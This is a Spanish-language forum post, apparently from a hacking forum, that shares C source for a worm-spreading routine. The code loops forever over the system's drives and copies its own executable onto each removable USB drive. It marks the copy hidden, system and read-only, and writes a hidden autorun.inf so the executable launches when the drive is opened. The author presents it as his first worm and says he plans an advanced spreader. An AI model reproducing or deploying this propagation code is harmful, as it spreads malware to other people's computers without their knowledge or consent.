Descansando algo de los examenes y cogiendo ritmo para el varano :xD.

Código: Seleccionar todo

////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función que infecta unidades extraíbles con
//un autorun y un ejecutable
/////////////////////////////////////////////////////////////////////////


void InfectUSB()
{
	//String con el contenido del AutoRun
	LPSTR txtAutoRun="[autorun]\nshellexecute=miBicho.exe\nUseAutoPlay=1";
	DWORD dwBytes;

	LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
	GetModuleFileName(0,AppName,MAX_PATH);

	LPSTR lpUnidades=(LPSTR)GlobalAlloc(GPTR,512);

	while(1)
	{
		//La API devuelve la longitud de la cadena
		DWORD numUnidades=GetLogicalDriveStringsA(512,lpUnidades);

		//Dividimos la longitud de la cadena entre 4 para obtener el número de unidades
		//Ej: 'A:\{nulo}B:\{nulo}C:\{nulo}{nulo}'
		numUnidades=numUnidades/4;

		//Hacemos backup del puntero para ir desplazandonos por él
		LPSTR lpTemp=lpUnidades;


		for(DWORD i=0;i<numUnidades;i++)
		{
			//Comprobamos si la unidad es extraíble y que no se trate de una disquetera
			if((GetDriveType(lpTemp) == DRIVE_REMOVABLE && lpTemp[0]!='A'))
			{
				//Creamos las rutas para el Worm y el Autorun
				LPSTR WormPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
				lstrcat(WormPath,lpTemp);
				lstrcat(WormPath,"miBicho.exe");

				LPSTR AutorunPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
				lstrcat(AutorunPath,lpTemp);
				lstrcat(AutorunPath,"autorun.inf");

				if(!PathFileExistsA(WormPath))
				{
					//Copiamos el worm al usb
					CopyFileA(AppName,WormPath,FALSE);

					//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
					SetFileAttributesA(WormPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);

					//Creamos el AutoRun
					HANDLE hFile=CreateFileA(AutorunPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
					DWORD szAutoRun=lstrlenA(txtAutoRun);
					WriteFile(hFile,txtAutoRun,szAutoRun,&dwBytes,0);
					CloseHandle(hFile);

					//Ponemos atributos de oculto, de sistema y de sólo lectura al autorun
					SetFileAttributesA(AutorunPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
				}
			}

			lpTemp=lpTemp+4;
		}

		GlobalFree(lpTemp);
		Sleep(2000);
	}
}
El primer código de algo parecido a un worm que hago ;D, es necesario asignarle un nuevo thread al llamarlo porque se queda en un bucle infinito buscando usb's. Aspiro poder programar un spreader avanzado éste verano :P.

Saludos
Responder

Volver a “Fuentes”